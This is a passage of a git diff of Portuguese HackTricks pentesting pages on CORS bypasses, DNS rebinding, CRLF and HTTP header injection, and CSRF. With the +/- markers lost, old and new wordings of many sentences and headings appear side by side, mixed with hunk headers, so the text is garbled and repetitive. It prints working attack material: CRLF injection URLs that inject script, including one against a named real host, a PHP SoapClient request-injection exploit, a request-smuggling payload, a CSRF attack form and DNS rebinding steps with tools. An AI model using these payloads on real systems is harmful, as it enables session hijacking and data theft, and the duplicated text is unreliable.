O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.
Considere a seguinte ilustração de uma solicitação de pré-voo destinada a utilizar o método `PUT` juntamente com um cabeçalho personalizado chamado `Special-Request-Header`:
Considere a seguinte ilustração de uma solicitação de pré-voo destinada a empregar o método `PUT` juntamente com um cabeçalho personalizado chamado `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -101,16 +101,16 @@ Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
- **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
- **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação de pré-voo podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação de pré-voo podem ser reutilizadas.
- **`Access-Control-Request-Headers`**: Usado em solicitações de pré-voo, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
- **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações de pré-voo, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
- **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
- **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação prévia podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação prévia podem ser reutilizadas.
- **`Access-Control-Request-Headers`**: Usado em solicitações prévias, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
- **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações prévias, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
- **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens diferentes. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação **GET/POST nenhum pedido de pré-voo é enviado** (a solicitação é enviada **diretamente**), mas se você deseja acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
**Portanto, CORS não protege contra CSRF (mas pode ser útil).**
### **Solicitação de Rede Local de Pré-voo**
### **Solicitação de Rede Local Pré-voo**
1. **`Access-Control-Request-Local-Network`**: Este cabeçalho é incluído na solicitação do cliente para indicar que a consulta é direcionada a um recurso de rede local. Ele serve como um marcador para informar ao servidor que a solicitação se origina de dentro da rede local.
@ -200,7 +200,7 @@ Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (
### A partir de XSS dentro de um subdomínio
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de até mesmo um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
Para ilustrar, considere o cenário em que um domínio, `requester.com`, está na lista branca para acessar recursos de outro domínio, `provider.com`. A configuração do lado do servidor pode se parecer com isso:
```javascript
@ -263,7 +263,7 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, também conhecido como Inclusão de Script de Sites Cruzados, é um tipo de vulnerabilidade que se aproveita do fato de que a Política de Mesma Origem (SOP) não se aplica ao incluir recursos usando a tag de script. Isso ocorre porque os scripts precisam poder ser incluídos de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que tenha sido incluído usando a tag de script.
XSSI, também conhecido como Inclusão de Script de Sites Cruzados, é um tipo de vulnerabilidade que se aproveita do fato de que a Política de Mesma Origem (SOP) não se aplica ao incluir recursos usando a tag de script. Isso ocorre porque os scripts precisam poder ser incluídos de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que foi incluído usando a tag de script.
Essa vulnerabilidade se torna particularmente significativa quando se trata de JavaScript dinâmico ou JSONP (JSON com Padding), especialmente quando informações de autoridade ambiente como cookies são usadas para autenticação. Ao solicitar um recurso de um host diferente, os cookies são incluídos, tornando-os acessíveis ao atacante.
@ -271,7 +271,7 @@ Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin Bu
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados de volta com `Content-Type: application/javascript`, o que irá contornar a política CORS.
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados com `Content-Type: application/javascript`, o que contornará a política CORS.
![](<../.gitbook/assets/image (229).png>)
@ -285,15 +285,15 @@ Uma maneira de contornar a restrição `Access-Control-Allow-Origin` é solicita
### Bypass Iframe + Popup
Você pode **contornar as verificações CORS** como `e.origin === window.origin` criando um iframe e abrindo uma nova janela a partir dele. Mais informações na seguinte página:
Você pode **contornar verificações CORS** como `e.origin === window.origin` criando um iframe e abrindo uma nova janela a partir dele. Mais informações na seguinte página:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### Rebinding DNS via TTL
### Rebinding de DNS via TTL
O rebinding DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:
O rebinding de DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:
1. O atacante cria uma página da web e faz a vítima acessá-la.
2. O atacante então altera o DNS (IP) de seu próprio domínio para apontar para a página da web da vítima.
@ -303,22 +303,22 @@ O rebinding DNS via TTL é uma técnica usada para contornar certas medidas de s
É importante observar que os navegadores possuem mecanismos de cache que podem impedir o abuso imediato dessa técnica, mesmo com valores de TTL baixos.
O rebinding DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.
O rebinding de DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.
Se você precisa de uma maneira rápida de abusar do rebinding DNS, você pode usar serviços como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Se você precisa de uma maneira rápida de abusar do rebinding de DNS, você pode usar serviços como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Para executar seu próprio servidor de rebinding DNS, você pode utilizar ferramentas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.
Para executar seu próprio servidor de rebinding de DNS, você pode utilizar ferramentas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.
Você também pode explorar um servidor em execução publicamente em [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para uma melhor compreensão e experimentação.
### Rebinding DNS via **Cache**
### Rebinding de DNS via **Cache**
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
2. Quando um navegador verifica esses registros, ele recebe ambos os endereços IP.
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode enviar um payload que realiza solicitações HTTP para o mesmo domínio.
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele deixa de responder ao navegador da vítima.
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode servir um payload que realiza solicitações HTTP para o mesmo domínio.
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele para de responder ao navegador da vítima.
5. O navegador da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo endereço IP fornecido.
6. Ao acessar o segundo endereço IP, o navegador contorna a Política de Mesma Origem (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.
@ -339,13 +339,13 @@ Para mais informações, você pode verificar [https://unit42.paloaltonetworks.c
* Se **IPs internos não são permitidos**, responda com um **CNAME** para **localhost** (funciona em Linux e Mac)
* Se **IPs internos não são permitidos** como respostas DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
### Rebinding DNS Weaponized
### Rebinding de DNS Weaponized
Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para restringir o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para restringir o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
### Proteção Real contra Rebinding DNS
### Proteção Real contra Rebinding de DNS
* Use TLS em serviços internos
* Solicite autenticação para acessar dados
@ -354,7 +354,7 @@ Você pode encontrar mais informações sobre as técnicas de bypass anteriores
## **Ferramentas**
**Fuzz possíveis configurações incorretas em políticas CORS**
**Fuzz possíveis configurações incorretas nas políticas CORS**
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -61,8 +61,8 @@ A Divisão de Resposta HTTP é uma vulnerabilidade de segurança que surge quand
1. A aplicação define um cabeçalho personalizado assim: `X-Custom-Header: UserInput`
2. A aplicação busca o valor para `UserInput` de um parâmetro de consulta, digamos "user_input". Em cenários sem validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.
3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- Nesta URL, `%0d%0a%0d%0a` é a forma codificada de URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
4. O servidor reflete a entrada do atacante no cabeçalho da resposta, resultando em uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.
- Nesta URL, `%0d%0a%0d%0a` é a forma codificada da URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
4. O servidor reflete a entrada do atacante no cabeçalho da resposta, levando a uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.
#### Um exemplo de Divisão de Resposta HTTP levando a Redirecionamento
@ -80,9 +80,9 @@ Location: http://myweb.com
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### No Caminho da URL
#### No caminho do URL
Você pode enviar a carga útil **dentro do caminho da URL** para controlar a **resposta** do servidor (exemplo de [aqui](https://hackerone.com/reports/192667)):
Você pode enviar o payload **dentro do caminho do URL** para controlar a **resposta** do servidor (exemplo de [aqui](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
@ -93,7 +93,7 @@ Verifique mais exemplos em:
### Injeção de Cabeçalho HTTP
A Injeção de Cabeçalho HTTP, frequentemente explorada por meio da injeção CRLF (Carriage Return and Line Feed), permite que os atacantes insiram cabeçalhos HTTP. Isso pode minar mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando a acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário por meio do plantio de cookies.
A Injeção de Cabeçalho HTTP, frequentemente explorada por meio da injeção de CRLF (Carriage Return and Line Feed), permite que os atacantes insiram cabeçalhos HTTP. Isso pode minar mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando a acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário por meio do plantio de cookies.
#### Explorando CORS via Injeção de Cabeçalho HTTP
@ -101,7 +101,7 @@ Um atacante pode injetar cabeçalhos HTTP para habilitar o CORS (Cross-Origin Re
#### SSRF e Injeção de Requisição HTTP via CRLF
A injeção de CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP. Um exemplo notável disso é a vulnerabilidade na classe `SoapClient` do PHP, especificamente no parâmetro `user_agent`. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:
A injeção de CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP inteiramente. Um exemplo notável disso é a vulnerabilidade na classe `SoapClient` do PHP, especificamente no parâmetro `user_agent`. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@ -130,7 +130,7 @@ $client->__soapCall("test", []);
Para mais informações sobre essa técnica e possíveis problemas [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder ao pedido inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
@ -158,7 +158,7 @@ Memcache é um **armazenamento de chave-valor que utiliza um protocolo de texto
Se uma plataforma está **recebendo dados de uma solicitação HTTP e os utilizando sem sanitização** para realizar **solicitações** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
Por exemplo, na vulnerabilidade original descoberta, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes foram capazes de **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (nomes de usuário e senhas incluídos) para os servidores do atacante:
Por exemplo, na vulnerabilidade original descoberta, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes conseguiam **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (nomes de usuário e senhas incluídos) para os servidores dos atacantes:
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
@ -168,7 +168,7 @@ Além disso, os pesquisadores também descobriram que poderiam dessincronizar as
### Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web
Para mitigar os riscos de Injeções de CRLF (Carriage Return and Line Feed) ou Cabeçalhos HTTP em aplicações web, as seguintes estratégias são recomendadas:
Para mitigar os riscos de Injeções de CRLF (Carriage Return e Line Feed) ou Cabeçalhos HTTP em aplicações web, as seguintes estratégias são recomendadas:
1. **Evitar Entrada Direta do Usuário nos Cabeçalhos de Resposta:**
A abordagem mais segura é abster-se de incorporar entrada fornecida pelo usuário diretamente nos cabeçalhos de resposta.
@ -179,7 +179,6 @@ Se evitar a entrada direta do usuário não for viável, certifique-se de empreg
3. **Atualizar a Linguagem de Programação:**
Atualize regularmente a linguagem de programação utilizada em suas aplicações web para a versão mais recente. Opte por uma versão que naturalmente impeça a injeção de caracteres CR e LF dentro de funções encarregadas de definir cabeçalhos HTTP.
### CHEATSHEET
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
@ -219,7 +218,7 @@ Atualize regularmente a linguagem de programação utilizada em suas aplicaçõe
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@ -234,7 +233,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,10 +6,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,7 +19,7 @@ Outras maneiras de apoiar o HackTricks:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
@ -32,14 +32,14 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
## Explicação de Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como executar JavaScript, enviar formulários ou buscar imagens.
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como execução de JavaScript, envio de formulários ou busca de imagens.
### Pré-requisitos para um Ataque CSRF
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse fim.
3. **Ausência de Parâmetros Imprévisíveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
3. **Ausência de Parâmetros Impraticáveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
### Defendendo-se Contra CSRF
Várias contramedidas podem ser implementadas para se proteger contra ataques CSRF:
@ -59,11 +59,11 @@ Compreender e implementar essas defesas é crucial para manter a segurança e in
### De POST para GET
Talvez o formulário que você deseja abusar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
### Falta de token
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, uma vulnerabilidade surge se a validação for ignorada completamente quando o token estiver ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for ignorada completamente quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
### Token CSRF não está vinculado à sessão do usuário
@ -75,11 +75,11 @@ Veja como os atacantes exploram isso:
2. **Obtêm um token CSRF válido** do pool global.
3. **Usam este token** em um ataque CSRF contra uma vítima.
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
### Bypass de Método
Se a solicitação estiver usando um **"método estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.
Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.
Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
@ -92,14 +92,14 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solic
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho.**
* Teste a solicitação com um **token de mesmo comprimento, mas diferente**.
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
* Teste a solicitação com **mesmo comprimento, mas token diferente**.
### Token CSRF é verificado por um cookie
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
No entanto, este método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
Abaixo está um exemplo de como um ataque poderia ser estruturado:
```html
@ -118,16 +118,16 @@ Abaixo está um exemplo de como um ataque poderia ser estruturado:
```
{% hint style="info" %}
Note que se o **token csrf estiver relacionado com o cookie de sessão esse ataque não funcionará** porque você precisará definir a sessão da vítima, e portanto estará atacando a si mesmo.
Note que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo.
{% endhint %}
### Alteração do Content-Type
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST** esses são os valores de Content-Type permitidos:
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, estes são os valores de Content-Type permitidos:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
